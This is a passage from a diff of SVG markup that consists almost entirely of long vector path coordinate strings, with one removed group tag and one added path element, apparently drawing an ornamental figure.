0-2.1-3.5-3.7-7.5-0.1-0.4-0.4-1.1-0.6-1.6-0.8-2-1.9-5.6-1.9-6.2 0-0.3-0.2-0.8-0.3-0.9-0.4-0.4-1.1-2.9-1.9-7.1-0.2-0.9-0.4-1.8-0.5-2.1-0.6-0.9-0.9-6.2-0.9-15 0-9.4 0.3-13.9 1-15.3 0.2-0.4 0.4-1.2 0.4-1.8s0.1-1.2 0.3-1.3 0.4-0.7 0.4-1.4c0.2-1.7 1.2-4.8 1.9-6.2 0.2-0.3 0.3-0.8 0.3-1s0.1-0.7 0.3-1c0.3-0.7 1.1-2.5 1.6-3.6 0.2-0.4 0.8-1.9 1.5-3.2 0.6-1.3 1.2-2.5 1.2-2.7 0-0.1 0.5-1 1.1-2s1.1-1.9 1.1-2.1 0.5-1 1.1-1.9 1.1-1.7 1.1-1.8c0-0.2 1.1-1.5 2.5-3 2.5-2.7 3.5-3.2 3.1-1.4-0.3 1.2-0.8 4.4-1 6.4-0.1 1-0.3 1.9-0.5 2.1s-0.3 1-0.3 1.8-0.2 1.9-0.4 2.4c-0.5 1.2-1.3 7-1.8 13.7-0.2 1.9-0.4 4.6-0.6 5.9-0.4 3.2-0.4 20.1 0 22.7 0.2 1.1 0.5 3.5 0.6 5.3 0.6 6.3 1.4 12 1.9 12.9 0.2 0.3 0.3 1.2 0.3 1.9s0.1 1.4 0.3 1.5 0.3 0.8 0.3 1.5 0.1 1.5 0.3 1.8c0.3 0.7 1 3 1.2 4.5 0.1 0.6 0.3 1.1 0.5 1.2s0.3 0.6 0.3 1.2 0.1 1.1 0.2 1.3c0.3 0.3 1.4 3.5 1.4 4.1 0 0.3 0.2 0.6 0.3 0.6s0.3 0.4 0.3 0.9 0.1 1 0.3 1.1 0.5 1 0.8 2 0.7 2.1 0.8 2.4c0.2 0.3 0.3 0.8 0.3 1s0.2 0.6 0.5 0.8 0.5 0.7 0.5 1 0.1 0.9 0.3 1.2 0.8 1.7 1.5 3.1c1.7 3.5 4.7 9.6 5.9 11.7 0.5 1 1.5 2.9 2.2 4.3 1 2.1 1.2 2.7 0.9 3.3-0.8 1.3-1.3 1.1-2.5-0.8zm227.3-1.4c-0.4-0.2-0.6-1.4-0.2-1.4 0.1 0 0.4-0.4 0.6-0.9s1-2 1.8-3.4 1.7-3.1 2-3.7c0.6-1.3 1.6-3.3 2.2-4.4 0.5-1 2.1-4.4 2.4-5.3 0.3-0.8 1-2.5 1.9-4.3 0.4-0.8 0.9-2.2 1.2-3 0.3-0.9 0.7-1.7 0.8-1.9s0.3-0.6 0.3-1 0.1-0.8 0.3-0.9 0.3-0.5 0.3-0.9 0.1-0.9 0.3-1c0.2-0.2 0.5-1.1 0.8-2.1s0.7-2 0.8-2.3c0.2-0.3 0.3-0.8 0.3-1.1 0-0.6 0.9-3.5 1.3-4.4 0.2-0.3 0.3-1.1 0.3-1.7s0.1-1.2 0.3-1.3 0.3-0.7 0.3-1.2c0-0.6 0.2-1.4 0.5-1.8s0.5-1.3 0.5-2c0-0.6 0.2-1.3 0.3-1.4 0.2-0.1 0.3-0.9 0.3-1.8s0.1-1.7 0.3-1.8 0.3-1 0.3-2 0.2-2.1 0.4-2.4c0.6-1.2 1-6.6 1.1-17.5 0.1-10.4-0.1-15.6-0.9-19.8-0.2-1-0.5-2.6-0.6-3.7-0.3-1.9-0.6-4-1.2-7.1-0.2-0.9-0.5-1.9-0.7-2.3s-0.3-1.1-0.3-1.6-0.1-1-0.3-1.1-0.4-0.7-0.4-1.4c-0.2-1.8-0.9-4-1.2-4.4-0.2-0.2-0.3-0.7-0.3-1.2s-0.1-1-0.3-1.1-0.3-0.6-0.3-1.1-0.2-1.1-0.5-1.3c-0.6-0.5-0.6-0.6-0.2-1.3 0.2-0.4 0.5-0.3 1.6 0.8 1.5 1.4 5.1 5.7 6.4 7.5 2 2.9 5.4 9.1 6.4 11.7 0.8 2.2 1.4 3.6 1.6 4.1 0.2 0.3 0.3 0.8 0.3 1.2s0.1 0.7 0.3 0.8 0.3 0.6 0.3 1.1 0.2 1.2 0.5 1.7c0.3 0.4 0.5 1.2 0.5 1.8 0 0.5 0.1 1.1 0.3 1.3s0.4 1 0.5 1.7c0.6 4.5 0.8 6.4 1.1 7.4 0.4 1.5 0.4 18.3 0 20-0.3 1.1-0.5 2.3-1.1 7.5-0.1 0.8-0.3 1.6-0.5 1.7-0.2 0.2-0.3 0.7-0.3 1.3 0 0.5-0.2 1.3-0.5 1.8-0.3 0.4-0.5 1.1-0.5 1.5s-0.1 1-0.3 1.3-0.5 1.4-0.8 2.4-0.7 1.9-0.8 2c-0.2 0.1-0.3 0.5-0.3 0.8s-0.1 0.9-0.3 1.2-0.5 1.1-0.8 1.8c-0.8 1.8-3.4 7-3.7 7.4-0.5 0.7-1 0.5-0.7-0.3 0.3-0.9 0.8-3.2 1.1-5.1 0.1-0.8 0.4-1.7 0.6-1.9s0.4-1 0.4-1.7 0.1-1.4 0.3-1.6 0.4-1 0.5-1.9c0.3-2.7 0.8-5.5 1-5.9 0.5-0.8 1.5-13.9 1.6-20.2 0-6.8-0.6-14.4-1.4-17.8-0.2-0.7-0.5-1.9-0.6-2.6-0.6-2.9-0.8-3.2-1.3-4l-0.6-0.8 0.2 1.3c0.1 0.7 0.3 2.4 0.6 3.8 0.5 3.4 0.7 23.2 0.3 25.3-0.2 0.9-0.5 2.8-0.7 4.3-1.3 10.1-1.2 9.5-2.6 14.3-0.2 0.5-0.3 1.4-0.3 2 0 0.5-0.1 1.1-0.3 1.2s-0.3 0.5-0.3 0.9-0.2 1.2-0.5 1.7-0.5 1.2-0.5 1.6-0.1 0.8-0.3 0.9-0.3 0.6-0.3 1.1-0.1 1-0.3 1.1-0.3 0.5-0.3 1c0 0.4-0.1 0.8-0.3 0.9-0.3 0.2-1.3 3.1-1.3 3.8 0 0.3-0.1 0.5-0.3 0.5s-0.3 0.3-0.3 0.6-0.2 1-0.5 1.5c-0.2 0.5-0.6 1.3-0.8 1.7-1 2.6-5.4 11.5-7 14.2-0.6 1.1-1.3 2.3-1.5 2.8s-0.5 0.9-0.6 0.9-0.2 0.2-0.2 0.4-0.5 1.1-1.1 2.1-1.1 1.8-1.1 1.9-0.4 0.7-0.8 1.3-0.8 1.2-0.8 1.4c0 0.4-2 2-2.4 1.9-0.4 0.1-0.7 0-1-0.1zm-74.7-40.8c0.1-0.7 0.3-1.5 0.5-1.7s0.3-0.8 0.3-1.3 0.1-1.4 0.3-1.8 0.8-2.5 1.5-4.6 1.4-4.3 1.6-4.8 0.6-1.3 0.7-1.8 0.6-1.5 1-2.4 0.9-2.1 1.2-2.7c0.8-1.9 3.6-7.5 4.2-8.5 0.3-0.5 0.6-1.2 0.6-1.5s0.1-0.6 0.3-0.6c0.1-0.1 0.5-0.7 0.9-1.4s1.1-2 1.7-2.9 1-1.8 1-1.9 0.3-0.6 0.6-1.1 1-1.5 1.4-2.4 1.1-1.9 1.4-2.3c1-1.5-1-0.6-3.2 1.5-0.5 0.5-1.4 1.2-2 1.6-1.5 1.1-6.2 5.3-12.4 11.3-3 2.9-6.4 6.1-7.7 7.1-1.2 1.1-2.8 2.5-3.5 3.2-1.7 1.8-2.8 1.8-1.5 0 0.3-0.4 0.6-0.9 0.6-1.1 0-0.1 0.3-0.6 0.7-1s0.8-1 1-1.3c0.2-0.4 0.7-1.2 1.2-1.8s1.4-1.9 2-2.7c1.5-2.2 5-6.7 6.6-8.4 0.7-0.8 1.9-2.2 2.5-3.1 3.4-4.3 17.9-18.3 21.7-20.9 0.4-0.3 1.3-1 2-1.6s2.1-1.7 3.2-2.4c1-0.7 2.3-1.7 2.9-2.2s1.2-0.9 1.3-0.9 0.6-0.3 0.9-0.7 1.1-0.9 1.6-1.2c0.6-0.3 1.1-0.6 1.1-0.8s0.2-0.3 0.3-0.3 0.8-0.3 1.4-0.7c1.3-0.9 2.1-1.4 2.9-1.8 0.4-0.2 1.2-0.7 1.9-1.1 3.3-2 13-6.9 13.8-6.9 0.2 0 0.5-0.2 0.7-0.4s1.1-0.6 2-0.9c0.9-0.2 1.7-0.6 1.8-0.7s0.5-0.3 0.9-0.3 1-0.2 1.3-0.5 1-0.5 1.5-0.5 1-0.2 1.1-0.3c0.1-0.2 0.6-0.3 1.1-0.3s1-0.1 1.1-0.3 0.6-0.3 1.2-0.3 1.3-0.2 1.7-0.4c1.1-0.6 4.6-1 9.3-1 5.3 0 5.6 0.2 2.2 2-3.8 2-5.2 2.9-8.4 4.9-3.4 2.2-9.7 6.4-10 6.7-0.2 0.2-3 2.4-4.9 3.7-0.5 0.4-1.4 1.1-2 1.6s-1.6 1.3-2.2 1.8c-3.9 2.9-14.4 13-20.2 19.4-2.1 2.4-4.2 4.7-4.7 5.1-0.4 0.4-1.1 1.3-1.6 1.9s-1.4 1.7-2 2.4-1.5 1.7-1.9 2.2-1.3 1.6-2.1 2.5-1.4 1.6-1.4 1.8-0.6 1-1.4 1.9-1.4 1.7-1.4 1.8-0.5 0.9-1.2 1.7c-1.1 1.3-2.3 2.9-6.2 8.2-0.6 0.8-1.3 1.7-1.5 2.1-1.2 1.6-3.3 4.5-3.5 4.7-0.1 0.1-0.4 0.6-0.7 1.1s-0.8 1.2-1.2 1.6c-0.4 0.3-0.7 0.7-0.7 0.9s-0.5 0.9-1.1 1.6-1.1 1.4-1.1 1.6-0.4 0.7-0.8 1.1-0.8 1-0.8 1.2c0 0.4-1 1.4-1.4 1.4-0.1 0.2-0.1-0.4 0-1.1zm-78.7-1.2c-0.5-0.7-0.9-1.3-0.9-1.4s-0.4-0.6-0.8-1.1c-0.7-0.8-1.5-1.8-3-3.9-0.5-0.7-3.3-4.5-4.7-6.5-0.4-0.5-1.1-1.6-1.7-2.4s-1.4-1.9-1.8-2.3-0.7-1-0.7-1.2-0.3-0.6-0.7-1c-0.7-0.6-2.5-2.9-4.2-5.4-0.5-0.7-1.4-1.8-2-2.4s-1.1-1.2-1.1-1.3-0.6-0.9-1.4-1.8-2.8-3.3-4.6-5.4-4.1-4.8-5.3-6.1c-1.2-1.2-2.7-3-3.5-3.9-2-2.2-9.6-9.9-10.4-10.4-0.4-0.3-2.1-1.7-3.7-3.3-1.7-1.6-3.4-3.1-3.8-3.3s-1.4-1.1-2.2-1.8-2.2-1.9-3.2-2.6c-0.9-0.7-2.4-1.8-3.2-2.5s-1.6-1.2-1.7-1.2-0.6-0.3-1-0.7-1.6-1.2-2.6-1.9-2-1.4-2.2-1.5c-0.2-0.2-0.5-0.3-0.6-0.3s-0.7-0.4-1.3-0.8-1.1-0.8-1.2-0.8-1.2-0.6-2.3-1.4-3-1.8-3.9-2.3-1.8-1-1.9-1.1-0.8-0.5-1.5-0.8c-2.1-1-1.7-1.5 1.5-1.8 3.4-0.3 10.5 0.5 11.3 1.3 0.2 0.2 0.9 0.4 1.6 0.4s1.3 0.1 1.4 0.3 0.6 0.3 1.1 0.3 1 0.1 1.1 0.3 0.6 0.3 1.1 0.3 1 0.1 1.1 0.3 1 0.5 2 0.8 2.6 0.9 3.6 1.3 2.3 1 2.9 1.3c2.6 1.1 7.9 3.9 10.3 5.4 0.7 0.5 2 1.2 2.8 1.7s1.8 1.1 2.1 1.4c0.4 0.3 0.8 0.6 0.9 0.6s0.7 0.4 1.3 0.8 1.2 0.8 1.4 0.8 0.4 0.1 0.4 0.3 0.5 0.5 1 0.9c1.3 0.8 4.8 3.4 5 3.8 0.1 0.1 0.3 0.2 0.5 0.2s1 0.5 1.8 1.2 1.8 1.5 2.2 1.8c6.9 5.2 14.7 12.5 20.6 19.3 0.7 0.8 2.1 2.4 3.2 3.5 2.3 2.4 4.5 5.1 10.3 12.3 2.1 2.6 2.4 3.1 2.1 4.4-0.1 0.6-0.4 1.1-0.6 1.1-0.2 0.1-4.8-4.3-10.3-9.7s-10.2-10-10.6-10.3-2-1.7-3.5-3.1c-6-5.6-7.1-6.4-7.5-5.4-0.1 0.3 0.1 0.9 0.6 1.4 0.7 0.7 1.7 2.2 3 4.2 0.2 0.3 0.8 1.2 1.3 2s2 3 3.2 5c1.2 1.9 2.4 3.9 2.7 4.3 1.1 1.6 7.4 14.7 7.4 15.3 0 0.4 0.1 0.6 1.1 2.5 0.3 0.6 0.5 1.3 0.5 1.7 0 0.3 0.1 0.7 0.3 0.8s0.3 0.6 0.3 1.1 0.1 1 0.3 1.1 0.3 0.6 0.3 1.1 0.2 1.2 0.5 1.7 0.5 1.3 0.5 2c0 0.6 0.2 1.3 0.3 1.4 0.4 0.2 0.4 2.7 0.1 2.7-0.4-0.1-0.9-0.6-1.4-1.3z"/>
-						</g>
+							<path d="m27.6 610.9c-0.2-0.2-0.4-0.7-0.4-1.1s-0.2-1-0.5-1.3-0.5-0.8-0.5-1-0.5-1.5-1.1-2.8-1.1-2.5-1.1-2.7-0.1-0.4-0.3-0.4-0.3-0.3-0.3-0.6-0.1-0.7-0.3-0.9-1-1.6-1.8-3.2-1.7-3.1-2-3.4c-0.2-0.3-0.4-0.6-0.4-0.7 0-0.2-1.3-2.3-2.9-4.5-2.2-3.2-6.2-7.6-15.1-16.4-12.8-12.6-14.6-14.8-19.7-22.4-2.6-4-4.5-7.4-6.9-12.6-1.9-4.2-2.1-4.7-2.1-5.1 0-0.2-0.1-0.6-0.3-1s-0.5-0.9-0.6-1.3-0.3-0.9-0.3-1.2-0.2-0.8-0.5-1.2c-0.3-0.3-0.5-0.9-0.5-1.3s-0.1-0.8-0.3-0.9-0.3-0.5-0.3-0.9-0.2-0.9-0.4-1.1c-0.3-0.3-0.2-0.6 0.4-1.4 0.9-1.2 1.6-1.1 2 0.2 0.2 0.5 0.4 1.2 0.6 1.5s0.3 0.7 0.3 0.9 0.2 0.9 0.5 1.5 0.7 1.7 1 2.3c1.6 3.8 3 6.7 4 8 0.3 0.5 0.6 0.9 0.6 1.1s0.5 1 1.1 2 1.1 1.9 1.1 2 0.5 0.9 1.1 1.7 1.5 2 1.9 2.7c0.5 0.7 0.9 1.4 1.1 1.4 0.1 0.1 0.6 0.7 1.1 1.4 2.1 2.9 5.3 6.3 15.9 17 6.1 6.2 11.8 12.1 12.6 13.1 0.8 1.1 1.9 2.3 2.3 2.7s0.7 1 0.7 1.2 0.2 0.6 0.5 0.8c0.5 0.4 4 5.6 4 5.9 0 0.1 0.3 0.6 0.7 1.2 0.7 1 3.6 6.7 4.1 8.1 0.8 2.2 1.4 3.6 1.6 4.1 0.2 0.3 0.3 1 0.3 1.5s0.1 1.2 0.3 1.5 0.3 1.7 0.4 3.1c0.1 2.4 0.1 2.6-0.5 2.7-0.5 0.2-0.9 0.1-1.1-0.2zm116.6-1.7c-0.3-0.3-0.3-1.9 0.1-2.7 0.2-0.4 0.5-1.6 0.8-2.7s0.7-2.2 0.8-2.5 0.3-0.8 0.3-1c0-0.3 0.2-0.9 0.5-1.4 0.2-0.5 0.8-1.6 1.2-2.5 1.1-2.6 2.8-5.7 3.9-7.2 0.3-0.5 0.6-0.9 0.6-1 0-0.2 2.9-4.5 3.8-5.5 0.3-0.4 0.8-1 1-1.5 0.8-1.4 4.4-5.2 15.6-16.6 10-10.2 13.7-14.2 16.7-18.4 0.6-0.8 1.4-1.9 1.8-2.4s0.7-1 0.7-1.1 0.4-0.7 0.8-1.3 0.8-1.1 0.8-1.2 0.6-1.2 1.4-2.5c1.3-2.2 2.5-4.6 4-7.9 0.4-0.8 0.9-2.1 1.3-3 0.4-0.8 0.7-1.7 0.7-1.9s0.2-0.7 0.5-1 0.5-0.9 0.5-1.2 0.1-0.8 0.3-1.1 0.4-0.8 0.5-1.2c0.3-0.9 0.9-0.2 0.9 1 0 1.7-0.9 7.6-1.3 8.6-0.1 0.4-0.5 1.4-0.8 2.2-0.7 2.1-0.9 2.6-1.9 4.6-0.5 0.9-0.8 1.8-0.8 2s-0.5 1.1-1.1 2.1-1.1 1.8-1.1 1.9-0.5 0.9-1 1.7c-0.6 0.8-1.2 1.7-1.4 2-1 1.6-2.3 3.5-3 4.3-0.5 0.6-1.6 1.9-2.4 3-2.9 3.6-11.1 12.3-15.5 16.4-5.5 5.2-9.9 9.7-11.1 11.3-0.5 0.7-1.6 2-2.5 3-1.4 1.6-5.8 7.7-6.7 9.4-0.2 0.4-0.7 1.2-1.1 1.9-0.9 1.5-2.7 5.1-3.5 7.4-0.8 2.2-1.4 3.6-1.6 4.1-0.2 0.3-0.3 0.8-0.3 1s-0.4 0.6-0.8 0.8c-1.4 0.3-1.4 0.3-1.6 0.1zm60.6-68.2c0-0.3 0.3-0.9 0.7-1.2 0.6-0.6 2.8-3.2 3.8-4.8 1.8-2.7 2.9-4.4 3.6-5.7 0.5-0.8 1.2-2.1 1.7-2.8s0.8-1.5 0.8-1.7 0.1-0.6 0.3-0.7c0.4-0.4 1.8-4.2 2.3-5.9 0.2-0.8 0.5-1.9 0.7-2.4 0.3-0.9 1-6.1 1-7.8 0-2-0.7-7.1-1-7.4-0.2-0.2-0.4-0.9-0.4-1.6s-0.1-1.3-0.3-1.4-0.3-0.5-0.3-0.9-0.4-1.4-0.8-2.3c-1.3-2.7-0.9-3.3 1.3-2.1 3.5 1.9 5.1 3.4 6.9 6.3 0.6 0.9 1.2 1.7 1.3 1.7 0.5 0 1-3 0.8-4.6-0.8-5.8-1.1-7.7-1.7-8.8-0.2-0.4-0.4-1.1-0.4-1.7 0-0.5-0.1-1.1-0.3-1.2s-0.3-0.6-0.3-1.1-0.1-1-0.3-1.1-0.3-0.5-0.3-0.9-0.2-1-0.5-1.3-0.5-0.9-0.5-1.2-0.1-0.8-0.3-1.1-0.8-1.7-1.5-3.1-1.3-2.8-1.4-3c-0.8-1.6-2.2-4-3.4-5.8-0.8-1.2-1.4-2.2-1.4-2.3 0-0.2-1.4-2.1-2.8-3.8-1-1.2-1.4-2.4-0.7-2.4 0.5 0 3.9 1.8 4.5 2.4 0.3 0.3 0.9 0.7 1.2 0.9 3.6 2.1 8.5 7.2 12 12.3 2.3 3.4 3 4.8 5.3 10.1 0.8 1.8 1.3 3.2 1.3 3.8 0 0.3 0.2 0.5 0.4 0.5 0.5-0.2 0.7-13.1 0.2-15.4-0.2-0.9-0.4-2.4-0.5-3.4s-0.3-1.9-0.4-2.1c-0.2-0.2-0.3-0.8-0.3-1.4s-0.2-1.5-0.5-1.9-0.5-1.2-0.5-1.6-0.1-1-0.3-1.1c-0.1-0.2-0.4-0.9-0.7-1.6-0.7-2.2-3.9-8.9-5-10.5-0.4-0.5-0.8-1.2-0.9-1.5-0.3-0.6-2.1-3.1-4-5.5-0.7-0.9-2.9-3.3-4.7-5.2-3.9-4-4.3-4.7-1.9-3.6 5.2 2.5 6.5 3.2 6.9 3.6 0.2 0.3 0.5 0.5 0.7 0.5s0.8 0.4 1.4 0.8 1.2 0.8 1.4 0.8 0.4 0.1 0.4 0.3c0.1 0.1 1.3 1.2 2.8 2.5 1.5 1.2 3.2 2.9 3.8 3.7s1.7 2.2 2.5 3.2 1.7 2.2 1.9 2.7c0.6 1.1 1 1.8 1.8 3.1 0.3 0.5 0.6 1.1 0.6 1.3 0 0.7 0.6 1 1.1 0.5 0.4-0.3 0.5-1.3 0.5-5 0-2.7-0.1-4.7-0.3-4.8s-0.3-0.6-0.3-1.2c0-1.1-0.5-2.8-1.2-4.2-0.2-0.5-0.4-1.1-0.4-1.4s-0.1-0.7-0.3-1-0.9-1.8-1.6-3.3c-1.6-3.4-2.6-4.9-4.9-8.4-2.9-4.3-4.1-5.6-8.5-10-2.3-2.3-4.1-4.2-4-4.4 0.3-0.5 4 0.2 5.9 1.1 0.4 0.2 1.4 0.8 2.1 1.4s1.5 1.1 1.6 1.1c0.4 0 3.7 3.4 4.6 4.8 0.4 0.6 0.8 1.2 0.9 1.3 0.6 0.6 2.9 4.6 4.2 7.5 0.4 0.9 0.9 2 1.2 2.5 0.2 0.5 0.5 1.2 0.5 1.7s0.1 0.8 0.3 1 0.3 0.6 0.3 1 0.1 1 0.3 1.3c1.2 2.4 2 6.6 2.7 14.6 0.4 4.2 0.1 10.1-0.7 14.9-0.2 1.1-0.4 2.7-0.5 3.4-0.1 0.8-0.3 1.4-0.6 1.4-0.4 0-0.5-0.6-1-5.5-0.1-1-0.3-1.9-0.5-2s-0.3-0.5-0.3-0.9c0-1.3-2.7-6.9-4.4-9.3-0.6-0.8-1.3-1.8-1.5-2.1-0.5-0.9-1.2-1.6-1.5-1.6-0.5 0-0.3 1.2 0.2 2.1 1 1.5 2.9 7.3 3.9 11.9 0.1 0.7 0.4 1.4 0.6 1.7 0.5 0.8 1.5 9.2 1.5 13.3 0 3.1-0.3 7.2-0.8 9-0.6 2.4-1.3 4.8-1.6 5.6-0.2 0.4-0.5 1.2-0.6 1.6-1.7 4.4-2.5 5.8-3.1 5.3-0.1-0.1-0.3-1.4-0.4-2.8-0.2-2.4-0.4-3.9-1.1-6.8-0.1-0.5-0.5-1.5-0.8-2.2-1.3-2.9-2.6-5.5-3.1-6.3-0.3-0.5-1-1.6-1.6-2.4-1.5-2.3-2.9-2.8-1.9-0.7 0.7 1.5 1.2 3.2 1.2 4.2 0 0.5 0.1 0.9 0.3 1s0.3 0.6 0.3 1.2 0.2 1.3 0.4 1.7c1.4 2.6 2.2 16.9 1.3 22.8-0.5 3.3-1 5.4-1.4 5.7-0.2 0.2-0.3 0.6-0.3 0.9s-0.1 0.8-0.3 1.1-0.5 1-0.7 1.5c-1.4 3.5-1.7 3.3-1.9-1-0.1-2.5-0.2-3.4-0.5-3.3-0.2 0.1-0.4 0.5-0.5 0.9-0.1 1.2-1.4 5.1-2.2 6.9-0.4 0.9-0.8 1.8-0.8 2 0 0.6-2.4 5.1-4 7.4-1.5 2.3-5.6 6.7-6.2 6.7-0.5 0-2.1 1.6-2.6 2.6-0.4 0.9-0.7 1.1-1.7 1.2-1.1-0.2-1.3-0.3-1.3-0.8zm-239.6-1.9c-3.1-2.2-4.9-3.6-4.9-3.9 0-0.1-0.6-1-1.4-2-0.7-1-1.9-2.9-2.6-4.3s-1.4-2.9-1.7-3.4c-0.2-0.5-0.4-1.1-0.4-1.4s-0.2-0.8-0.4-1.2c-0.7-1.3-0.8-1.7-1.1-2.7-0.1-0.6-0.4-1.1-0.5-1.2-0.2-0.1-0.3-0.5-0.3-0.8s-0.1-0.9-0.3-1.2c-0.5-0.9-1-2.8-1-3.5 0-1-0.3-1.7-0.7-1.5-0.2 0.1-0.3 2-0.3 4.2s-0.1 4-0.3 4c-0.4 0-0.9-0.7-1.2-1.8-0.1-0.5-0.3-1.1-0.4-1.3s-0.4-1-0.6-1.8-0.5-1.9-0.7-2.4c-1.9-5.5-2.2-17.1-0.6-25.3 0.2-0.9 0.5-1.9 0.7-2.3s0.3-1 0.3-1.5 0.1-1.1 0.3-1.4 0.5-1.3 0.8-2.3 0.7-1.9 0.9-2.2c0.2-0.2 0.2-0.6 0.1-0.9-0.2-0.4-0.3-0.5-0.7-0.1-1.4 1.1-5.2 7.2-5.2 8.2 0 0.3-0.1 0.7-0.2 0.8-0.9 0.9-2.2 6.5-2.6 10.9-0.3 2.9-0.8 3.4-1.8 1.7-1.3-2.2-2.7-4.9-2.7-5.4 0-0.3-0.2-0.8-0.4-1.1-0.8-1.1-1.6-6.7-1.6-11.2 0-3.9 1-13.4 1.5-14.2 0.2-0.3 0.4-1 0.5-1.8 0.1-0.7 0.4-1.9 0.6-2.7s0.4-1.9 0.5-2.4 0.4-1.2 0.6-1.6c0.2-0.3 0.4-1 0.4-1.5s0.1-1 0.3-1.1 0.3-0.5 0.3-1 0.1-0.9 0.3-1 0.3-0.6 0.3-1 0.2-1.1 0.5-1.6c0.3-0.4 0.4-1 0.3-1.3-0.2-0.5-0.4-0.4-1.4 0.6-1.3 1.2-3.9 5.1-3.9 5.8 0 0.2-0.1 0.5-0.2 0.7-0.4 0.4-1.4 3.5-1.4 4.2 0 0.4-0.1 0.8-0.3 1s-0.4 0.9-0.5 1.6-0.3 2.3-0.5 3.6-0.5 2.6-0.7 3l-0.4 0.7-0.6-0.8c-0.3-0.4-0.6-1-0.6-1.2s-0.1-0.7-0.3-1c-1.5-2.8-1.7-4.1-1.7-12.4 0-7.2 0.1-9.1 0.9-11.8 0.2-0.9 0.6-2.2 0.8-3s0.5-1.7 0.7-2 0.3-0.8 0.3-1c0-0.6 1.1-3.2 3.5-8.2 3.5-7.3 7.8-12.5 13.3-16.2 2.1-1.4 6.3-2.9 6.9-2.6s0.4 0.8-0.6 1.3-10 9.3-10.8 10.7c-0.6 0.9-2.4 3.5-3 4.2-0.2 0.2-0.3 0.5-0.3 0.7s-0.3 0.9-0.8 1.6c-0.4 0.7-1.3 2.4-1.9 3.8s-1.3 2.8-1.5 3.1-0.3 0.8-0.3 1.2-0.1 0.7-0.3 0.8-0.3 0.5-0.3 0.9-0.1 0.9-0.3 1c-0.3 0.3-0.9 2.6-1.2 4.8-0.1 0.7-0.3 1.4-0.4 1.6-0.4 0.5-0.5 8.9-0.2 9 0.2 0.1 0.6-0.6 1-1.4s0.9-1.7 1.2-2 0.6-0.7 0.6-0.9c0.1-0.8 6.3-8.5 7.9-9.7 0.6-0.5 1.9-1.6 2.8-2.4s1.8-1.5 1.9-1.5c0.2 0 0.7-0.4 1.2-0.8s0.9-0.8 1.1-0.8 0.9-0.5 1.9-1c1.4-0.9 3.9-2.2 7.5-3.8 1.7-0.8 0.9 0.4-3 4.4-5.1 5.3-5.7 6-8.3 10.1-0.2 0.3-0.8 1.2-1.3 2s-1.5 2.6-2.2 4-1.4 2.6-1.5 2.7-0.3 0.4-0.3 0.8-0.2 1.1-0.5 1.7c-1 1.9-1.1 2.2-1.1 2.7 0 0.3-0.1 0.7-0.3 1-0.6 1.1-1.3 3.9-1.3 4.8 0 0.5-0.1 1.1-0.3 1.2s-0.4 1.1-0.4 2.1c-0.1 1-0.3 2.5-0.5 3.4-0.5 2.1-0.3 14.9 0.2 15.1 0.2 0.1 0.5-0.5 0.7-1.3s0.6-1.8 0.8-2.3 0.6-1.3 0.7-1.8c0.7-1.7 2.2-4.7 3.2-6.3 0.6-0.9 1-1.7 1-1.8 0-0.3 2.2-3 4.4-5.6s6.3-6.2 8.2-7.4c3.3-2 3.3-2 3.7-1.7 0.2 0.2 0.1 0.6-0.3 1.2-2.4 3.6-7.9 14.3-9.2 18-0.9 2.7-1.3 3.8-1.6 4-0.1 0.1-0.2 0.6-0.2 1 0 0.8-0.3 2-1 4-0.4 1.3-0.9 3.9-1.2 7.4-0.2 1.6-0.4 3.6-0.5 4.4-0.3 2.3 0.3 2 2.9-1.2 2.1-2.6 5.3-5.2 6.3-5.2 0.3 0 0.6-0.1 0.7-0.3s0.4-0.3 0.7-0.3c0.5 0 0.7 1.4 0.2 1.7-0.3 0.2-1 2.2-1.6 4.3-0.2 0.8-0.6 2.1-0.9 3-0.7 2.3-0.7 12.8 0 14.3 0.3 0.6 0.5 1.4 0.5 1.9s0.1 1 0.3 1.1 0.3 0.6 0.3 1 0.1 1 0.3 1.3c0.3 0.5 1 2.1 1.6 3.8 0.4 1.1 2.6 5.4 3.4 6.6 0.4 0.7 0.7 1.3 0.7 1.4s0.5 0.9 1 1.7 1.2 1.8 1.4 2.2 0.5 0.9 0.7 1.1c1.4 1.8 2 2.5 2 2.8 0.3 0.5-0.4 0.3-2.1-0.9zm117.5-9.4c-1.4-0.1-3.1-0.4-3.8-0.6-1.1-0.3-1.7-0.5-4.2-1.4-0.4-0.1-1.7-0.8-3-1.4s-2.7-1.2-3-1.2-0.8-0.1-1.2-0.3c-0.3-0.2-1.6-0.5-2.8-0.6-5-0.7-10.2-2-10.9-2.7-0.1-0.1-0.5-0.2-0.8-0.2s-0.6-0.1-0.6-0.3-0.2-0.3-0.5-0.3-1.1-0.4-1.8-0.8-1.4-0.8-1.5-0.8c-0.3 0-4.9-3.9-4.9-4.2 0-0.2-0.5-0.8-1.1-1.5-1.3-1.4-1.8-2.3-3.4-6.2-0.6-1.5-0.8-3.4-0.8-9.6 0-4.6 0.1-6.5 0.4-7.2l0.4-1 0.6 1.3c0.3 0.7 0.6 1.6 0.6 2s0.2 0.8 0.3 0.9 0.3 0.5 0.3 0.8 0.1 0.9 0.3 1.2 0.5 1.1 0.8 1.7c1 2.4 3.2 6.6 3.9 7.8 0.4 0.7 0.9 1.6 1.1 1.9 0.4 0.8 3.1 4.2 5.1 6.3 1.5 1.6 4.9 4.2 6.7 5.2 0.6 0.3 1.3 0.8 1.6 1s1 0.5 1.6 0.8c0.6 0.2 1.4 0.5 1.8 0.7 0.4 0.1 1 0.3 1.4 0.4s1.4 0.3 2.1 0.5c2 0.5 8.3 0.4 9.6-0.1 0.6-0.3 1.6-0.5 2.1-0.5s1-0.1 1.1-0.3 0.5-0.3 0.9-0.3c0.8 0 1.5-0.5 1.5-1.2 0-0.2-0.3-0.4-0.6-0.4-1.2 0-5.2-2.5-8.1-5.1-1.5-1.4-4.4-5.3-4.4-6.1 0-0.2-0.1-0.6-0.3-0.9-0.7-1.3-1.3-2.9-1.3-3.4 0-0.3-0.1-0.6-0.3-0.7s-0.3-1.7-0.3-3.6c0-3.6 0.3-4.8 1.7-6.3 0.3-0.3 0.6-0.7 0.6-0.9 0-0.5 2.8-2.1 4.7-2.6 2.4-0.7 3.9-0.7 6.3-0.1 2.3 0.6 10.1 0.7 11.2 0.1 0.4-0.2 2.1-0.4 3.8-0.5 3.2-0.2 3.2-0.2 6.8 1.4 1.2 0.5 2 1.5 3.1 3.5 0.8 1.5 0.9 2 0.9 5.1 0 1.9-0.1 3.6-0.3 3.8s-0.5 1.2-0.9 2.2c-1.2 3.8-4.4 8.4-7.1 10.2-3.3 2.2-4.7 3.1-4.9 3.1s-0.6 0.1-0.9 0.3-0.8 0.4-1.2 